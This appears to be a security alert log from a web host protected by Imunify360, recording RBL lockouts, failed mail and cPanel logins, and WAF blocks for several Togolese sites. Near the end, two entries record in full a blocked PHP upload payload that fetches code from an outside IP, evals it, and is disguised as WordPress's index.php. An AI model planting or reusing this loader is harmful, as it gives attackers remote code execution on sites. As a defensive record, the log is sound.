103.214.140.160 - - [12/Jun/2026:01:48:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7444587&pdata=https%253A%252F%252Fwww.haplucia-togo.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781228915 HTTP/2.0" 302 0 www.haplucia-togo.tg "https://www.haplucia-togo.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.214.140.160


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.170
country_id: 1880251
description:
47.128.96.170 - - [12/Jun/2026:01:49:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6725524&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feleves-de-classe-de-passage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781228944 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eleves-de-classe-de-passage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.170


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 12 01:49:31 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-12 01:49:33 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:31496: 535 Incorrect authentication data (set_id=rabbit)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:54:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 12 01:56:01 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-12 01:56:03 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:20245: 535 Incorrect authentication data (set_id=catalyst)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.234.221
country_id: 2661886
description:
2026-06-12 01:56:22 dovecot_plain authenticator failed for H=(59mhksqxln9bpohcj1e) [104.28.234.221]:46101: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.229.7.198
country_id: 2635167
description:
2026-06-12 01:57:14 dovecot_plain authenticator failed for H=(mail.tps.tg) [23.229.7.198]:52088: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.135.199.38
country_id: 1733045
description:
115.135.199.38 - - [12/Jun/2026:02:02:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868390&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F04%252F03%252Fsenat-ouverture-officielle-de-la-1ere-session-ordinaire-de-lannee-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781229756 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/04/03/senat-ouverture-officielle-de-la-1ere-session-ordinaire-de-lannee-2026/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.9749.1343 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.135.199.38


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:03:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:03:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.17
country_id: 1880251
description:
47.128.96.17 - - [12/Jun/2026:02:04:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723481&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-carrefour-international-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781229891 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-carrefour-international-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.17


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:04:59 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.166.114
country_id: 1880251
description:
104.28.166.114 - - [12/Jun/2026:02:07:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015664&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fadministration%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781230046 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/administration/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.166.114


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 42.194.226.88
country_id: 1814991
description:
42.194.226.88 - - [12/Jun/2026:02:07:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988720&pdata=https%253A%252F%252Fmesyscom.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781230065 HTTP/2.0" 302 0 mesyscom.com "https://mesyscom.com/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Mobile Safari/537.36 MicroMessenger/7.0.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:42.194.226.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.95.197.80
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/38.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.20.45.201
country_id: 2017370
description:
185.20.45.201 - - [12/Jun/2026:02:11:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987782&pdata=https%253A%252F%252Fcfpj.tg%252Fjkgc-333031letidm54x.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781230277 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/jkgc-333031letidm54x.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.20.45.201


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.41.96
country_id: 953987
description:
Jun 12 02:17:14 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.41.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.41.96
country_id: 953987
description:
Jun 12 02:17:21 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.41.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.201
country_id: 3469034
description:
Jun 12 02:19:35 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.201 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [12/Jun/2026:02:20:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7498600&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftogo-recrutement-elections%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781230852 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/togo-recrutement-elections/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.135.198.234
country_id: 1733045
description:
115.135.198.234 - - [12/Jun/2026:02:23:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249625&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-246139letid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781231034 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-246139letid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.135.198.234


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.236.0.73
country_id: 2635167
description:
Jun 12 02:25:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.236.0.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:32:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-06-12 02:37:22 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [103.90.27.83]:38162: 535 Incorrect authentication data (set_id=service@dany2.mairie.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.13
country_id: 6252001
domain: certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/certlogisticstogo.com/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.129
country_id: 6252001
domain: certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/certlogisticstogo.com/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.138
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.141
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 12 02:40:21 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.34.96
country_id: 6252001
domain: certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/certlogisticstogo.com/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.130
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.131
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.140
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.138
country_id: 6252001
domain: certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/certlogisticstogo.com/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.34.93
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:42:15 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:42:24 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:45:04 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 12 02:47:18 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.182.132.94
country_id: 2017370
description:
Jun 12 02:49:53 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.182.132.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.182.132.94
country_id: 2017370
description:
2026-06-12 02:49:55 dovecot_login authenticator failed for H=([61.142.85.190]) [62.182.132.94]:55796: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:51:13 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.66.195
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.152.232.66.195||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:51:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.152.71
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.193.32.152.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.59.4.211
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.138.59.4.211||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.155.51
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.193.32.155.51||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.115.230.185
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.161.115.230.185||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.254
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.45.89.75.254||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.154.248
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.193.32.154.248||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.24
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.45.89.75.24||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.68.253.19
country_id: 6252001
description:
2026-06-12 02:51:32 dovecot_plain authenticator failed for H=(d1f0qhz7cp3lknj08iyvysu9) [138.68.253.19]:43964: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.154.150
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.193.32.154.150||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 190.185.109.207
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.190.185.109.207||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.152.83
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-51.193.32.152.83||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.73.179
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.152.232.73.179||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.115.231.64
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-52.161.115.231.64||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:56:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:56:19 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350365
abuser: 103.214.140.160
country_id: 1819730
domain: haplucia-togo.tg
name:
IM360 WAF: Track Directory Traversal vulnerability in File Manager and File Manager Pro < 7.2.2 (CVE-2023-6825)

description:
IM360 WAF: Track Directory Traversal vulnerability in File Manager and File Manager Pro < 7.2.2 (CVE-2023-6825)||MVN:TX:1||MV:d3AtYmxvZy1oZWFkZXIucGhw||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77065534
abuser: 103.214.140.160
country_id: 1819730
domain: haplucia-togo.tg
name:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)

description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:content||MV:<?php\n$u = 'http://192.151.154.98/z60525_6/stat/index.txt';\n$d = '';\n\nif (function_exists('curl_init')) {\n    $ch = curl_init($u);\n    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_FOLLOWLOCATION => 1]);\n    $d = curl_exec($ch);\n    curl_close($ch);\n} elseif (ini_get('allow_url_fopen')) {\n    $d = file_get_contents($u, false, stream_context_create([\"ssl\"=>[\"verify_peer\"=>false]]));\n}\n\nif ($d) @eval('?>'.$d);?>\n<?php\n/**\n * Loads the WordPress environment and template.\n *\n * @package WordPress\n */\n\nif ( ! isset( $wp_did_header ) ) {\n\n\t$wp_did_header = true;\n\n\t// Load the WordPress library.\n\trequire_once __DIR__ . '/wp-load.php';\n\n\t// Set up the WordPress query.\n\twp();\n\n\t// Load the theme template.\n\trequire_once ABSPATH . WPINC . '/template-loader.php';\n\n}||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 103.214.140.160
country_id: 1819730
domain: haplucia-togo.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:content||MV:<?php\n$u = 'http://192.151.154.98/z60525_6/stat/index.txt';\n$d = '';\n\nif (function_exists('curl_init')) {\n    $ch = curl_init($u);\n    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_FOLLOWLOCATION => 1]);\n    $d = curl_exec($ch);\n    curl_close($ch);\n} elseif (ini_get('allow_url_fopen')) {\n    $d = file_get_contents($u, false, stream_context_create([\"ssl\"=>[\"verify_peer\"=>false]]));\n}\n\nif ($d) @eval('?>'.$d);?>\n<?php\n/**\n * Loads the WordPress environment and template.\n *\n * @package WordPress\n */\n\nif ( ! isset( $wp_did_header ) ) {\n\n\t$wp_did_header = true;\n\n\t// Load the WordPress library.\n\trequire_once __DIR__ . '/wp-load.php';\n\n\t// Set up the WordPress query.\n\twp();\n\n\t// Load the theme template.\n\trequire_once ABSPATH . WPINC . '/template-loader.php';\n\n}||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 103.214.140.160
country_id: 1819730
domain: haplucia-togo.tg
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.15||T:APACHE||SC:/home/phoicdxb/public_html/wp-admin/admin-ajax.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.123
country_id: 3175395
description:
Jun 12 02:56:58 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.163
country_id: 3865483
description:
Jun 12 02:57:19 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.5.21.121
country_id: 3865483
description:
Jun 12 02:58:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.5.21.121 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.169
country_id: 690791
description:
2026-06-12 02:59:11 H=([77.83.39.169]) [77.83.39.169]:55511 F=<dpr@priv8shop.com> rejected RCPT <chikwado22@aol.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.116
country_id: 3175395
description:
Jun 12 02:59:14 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.116 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.115.230.178
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:161.115.230.178||TA:161.115.230.178||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.116
country_id: 3175395
description:
Jun 12 02:59:21 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.169
country_id: 690791
description:
2026-06-12 03:00:22 H=([77.83.39.169]) [77.83.39.169]:62064 F=<dpr@priv8shop.com> rejected RCPT <chikwado22@aol.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:02:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:06:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.152.21.156
country_id: 3469034
description:
Jun 12 03:06:32 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.152.21.156 has been locked due to Imunify RBL


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-12 03:07:50 +0000] info [cpaneld] 5.175.213.112 - k.eklou "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 12 03:08:13 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-12 03:07:32 +0000] info [cpaneld] 5.175.213.112 - a.kesso "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.kesso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun 12 03:08:43 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 12 03:09:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.193.163.2
country_id: 1814991
description:
